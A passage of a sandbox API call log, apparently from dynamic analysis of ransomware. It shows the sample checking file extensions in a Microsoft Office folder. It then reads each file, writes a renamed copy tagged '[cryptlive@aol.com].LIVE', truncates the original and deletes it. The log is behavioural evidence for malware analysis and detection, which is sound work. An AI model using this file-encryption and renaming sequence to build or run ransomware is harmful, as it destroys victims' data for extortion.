returned 4 [0138.759] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0138.759] lstrlenW (lpString=".xls") returned 4 [0138.759] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0138.759] lstrlenW (lpString=".xlsx") returned 5 [0138.759] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0138.759] lstrlenW (lpString=".ppt") returned 4 [0138.759] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString=".zip") returned 4 [0138.760] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString=".rar") returned 4 [0138.760] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString=".bz2") returned 4 [0138.760] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0138.760] lstrlenW (lpString=".7z") returned 3 [0138.760] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString=".dbf") returned 4 [0138.760] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString=".1cd") returned 4 [0138.760] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString=".jpg") returned 4 [0138.760] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString=".doc") returned 4 [0138.760] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString=".docx") returned 5 [0138.760] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0138.760] lstrlenW (lpString=".pdf") returned 4 [0138.760] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString=".xls") returned 4 [0138.760] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString=".xlsx") returned 5 [0138.760] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0138.760] lstrlenW (lpString=".ppt") returned 4 [0138.760] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.760] lstrlenW (lpString=".zip") returned 4 [0138.760] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0138.760] lstrlenW (lpString=".rar") returned 4 [0138.761] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0138.761] lstrlenW (lpString=".bz2") returned 4 [0138.761] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0138.761] lstrlenW (lpString=".7z") returned 3 [0138.761] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0138.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.761] lstrlenW (lpString=".dbf") returned 4 [0138.761] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0138.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.761] lstrlenW (lpString=".1cd") returned 4 [0138.761] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0138.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.761] lstrlenW (lpString=".jpg") returned 4 [0138.761] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0138.761] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0138.761] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0138.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0138.762] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=275856) returned 1 [0138.762] CloseHandle (hObject=0x1f8) returned 1 [0138.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0138.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0138.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.762] lstrlenW (lpString=".doc") returned 4 [0138.762] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0138.762] lstrlenW (lpString=".docx") returned 5 [0138.762] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0138.762] lstrlenW (lpString=".pdf") returned 4 [0138.762] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0138.762] lstrlenW (lpString=".xls") returned 4 [0138.762] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0138.762] lstrlenW (lpString=".xlsx") returned 5 [0138.762] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0138.762] lstrlenW (lpString=".ppt") returned 4 [0138.762] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0138.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.762] lstrlenW (lpString=".zip") returned 4 [0138.762] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0138.762] lstrlenW (lpString=".rar") returned 4 [0138.762] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString=".bz2") returned 4 [0138.763] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0138.763] lstrlenW (lpString=".7z") returned 3 [0138.763] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0138.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.763] lstrlenW (lpString=".dbf") returned 4 [0138.763] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0138.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.763] lstrlenW (lpString=".1cd") returned 4 [0138.763] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0138.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.763] lstrlenW (lpString=".jpg") returned 4 [0138.763] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.763] lstrlenW (lpString=".doc") returned 4 [0138.763] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString=".docx") returned 5 [0138.763] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0138.763] lstrlenW (lpString=".pdf") returned 4 [0138.763] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString=".xls") returned 4 [0138.763] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString=".xlsx") returned 5 [0138.763] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0138.763] lstrlenW (lpString=".ppt") returned 4 [0138.763] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.763] lstrlenW (lpString=".zip") returned 4 [0138.763] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString=".rar") returned 4 [0138.763] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0138.763] lstrlenW (lpString=".bz2") returned 4 [0138.763] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0138.763] lstrlenW (lpString=".7z") returned 3 [0138.764] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0138.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.764] lstrlenW (lpString=".dbf") returned 4 [0138.764] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0138.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.764] lstrlenW (lpString=".1cd") returned 4 [0138.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0138.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0138.764] lstrlenW (lpString=".jpg") returned 4 [0138.764] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0138.764] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0138.764] lstrlenW (lpString="AEC.VSL") returned 7 [0138.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0138.765] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=69496) returned 1 [0138.765] CloseHandle (hObject=0x1f8) returned 1 [0138.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0138.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0138.765] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.765] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.427] GetLastError () returned 0x0 [0139.427] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x10f78, lpOverlapped=0x0) returned 1 [0139.476] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x10f80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x10f80, lpOverlapped=0x0) returned 1 [0139.477] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.478] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0139.478] SetEndOfFile (hFile=0x3ac) returned 1 [0139.478] CloseHandle (hObject=0x3ac) returned 1 [0139.478] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.478] SetEndOfFile (hFile=0x1f8) returned 1 [0139.481] CloseHandle (hObject=0x1f8) returned 1 [0139.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 1 [0139.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.499] lstrlenW (lpString=".doc") returned 4 [0139.499] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.499] lstrlenW (lpString=".docx") returned 5 [0139.499] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0139.499] lstrlenW (lpString=".pdf") returned 4 [0139.499] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.499] lstrlenW (lpString=".xls") returned 4 [0139.499] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.499] lstrlenW (lpString=".xlsx") returned 5 [0139.500] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0139.500] lstrlenW (lpString=".ppt") returned 4 [0139.500] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.500] lstrlenW (lpString=".zip") returned 4 [0139.500] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.500] lstrlenW (lpString=".rar") returned 4 [0139.500] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString=".bz2") returned 4 [0139.500] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString=".7z") returned 3 [0139.500] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.500] lstrlenW (lpString=".dbf") returned 4 [0139.500] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.500] lstrlenW (lpString=".1cd") returned 4 [0139.500] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.500] lstrlenW (lpString=".jpg") returned 4 [0139.500] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.500] lstrlenW (lpString=".doc") returned 4 [0139.500] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString=".docx") returned 5 [0139.500] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0139.500] lstrlenW (lpString=".pdf") returned 4 [0139.500] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.500] lstrlenW (lpString=".xls") returned 4 [0139.500] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.500] lstrlenW (lpString=".xlsx") returned 5 [0139.500] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0139.500] lstrlenW (lpString=".ppt") returned 4 [0139.500] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.501] lstrlenW (lpString=".zip") returned 4 [0139.501] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.501] lstrlenW (lpString=".rar") returned 4 [0139.501] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.501] lstrlenW (lpString=".bz2") returned 4 [0139.501] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.501] lstrlenW (lpString=".7z") returned 3 [0139.501] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.501] lstrlenW (lpString=".dbf") returned 4 [0139.501] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.501] lstrlenW (lpString=".1cd") returned 4 [0139.501] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0139.501] lstrlenW (lpString=".jpg") returned 4 [0139.501] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.501] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0139.501] lstrlenW (lpString="DBENGR.VSL") returned 10 [0139.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.534] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=53144) returned 1 [0139.534] CloseHandle (hObject=0x350) returned 1 [0139.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20 [0139.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.535] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.535] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.535] GetLastError () returned 0x0 [0139.535] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xcf98, lpOverlapped=0x0) returned 1 [0139.538] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xcfa0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xcfa0, lpOverlapped=0x0) returned 1 [0139.539] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.539] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0139.539] SetEndOfFile (hFile=0x3b0) returned 1 [0139.540] CloseHandle (hObject=0x3b0) returned 1 [0139.540] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.540] SetEndOfFile (hFile=0x350) returned 1 [0139.543] CloseHandle (hObject=0x350) returned 1 [0139.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 1 [0139.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.544] lstrlenW (lpString=".doc") returned 4 [0139.544] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.544] lstrlenW (lpString=".docx") returned 5 [0139.544] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0139.544] lstrlenW (lpString=".pdf") returned 4 [0139.544] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.544] lstrlenW (lpString=".xls") returned 4 [0139.544] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.544] lstrlenW (lpString=".xlsx") returned 5 [0139.544] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0139.544] lstrlenW (lpString=".ppt") returned 4 [0139.544] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.544] lstrlenW (lpString=".zip") returned 4 [0139.544] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.544] lstrlenW (lpString=".rar") returned 4 [0139.544] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString=".bz2") returned 4 [0139.545] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString=".7z") returned 3 [0139.545] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.545] lstrlenW (lpString=".dbf") returned 4 [0139.545] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.545] lstrlenW (lpString=".1cd") returned 4 [0139.545] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.545] lstrlenW (lpString=".jpg") returned 4 [0139.545] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.545] lstrlenW (lpString=".doc") returned 4 [0139.545] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString=".docx") returned 5 [0139.545] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0139.545] lstrlenW (lpString=".pdf") returned 4 [0139.545] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString=".xls") returned 4 [0139.545] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.545] lstrlenW (lpString=".xlsx") returned 5 [0139.545] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0139.545] lstrlenW (lpString=".ppt") returned 4 [0139.545] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.545] lstrlenW (lpString=".zip") returned 4 [0139.545] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.545] lstrlenW (lpString=".rar") returned 4 [0139.545] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString=".bz2") returned 4 [0139.545] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.545] lstrlenW (lpString=".7z") returned 3 [0139.546] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.546] lstrlenW (lpString=".dbf") returned 4 [0139.546] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.546] lstrlenW (lpString=".1cd") returned 4 [0139.546] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0139.546] lstrlenW (lpString=".jpg") returned 4 [0139.546] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.546] lstrcmpiW (lpString1=".gta", lpString2=".LIVE") returned -1 [0139.546] lstrlenW (lpString="Discussion14.gta") returned 16 [0139.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" 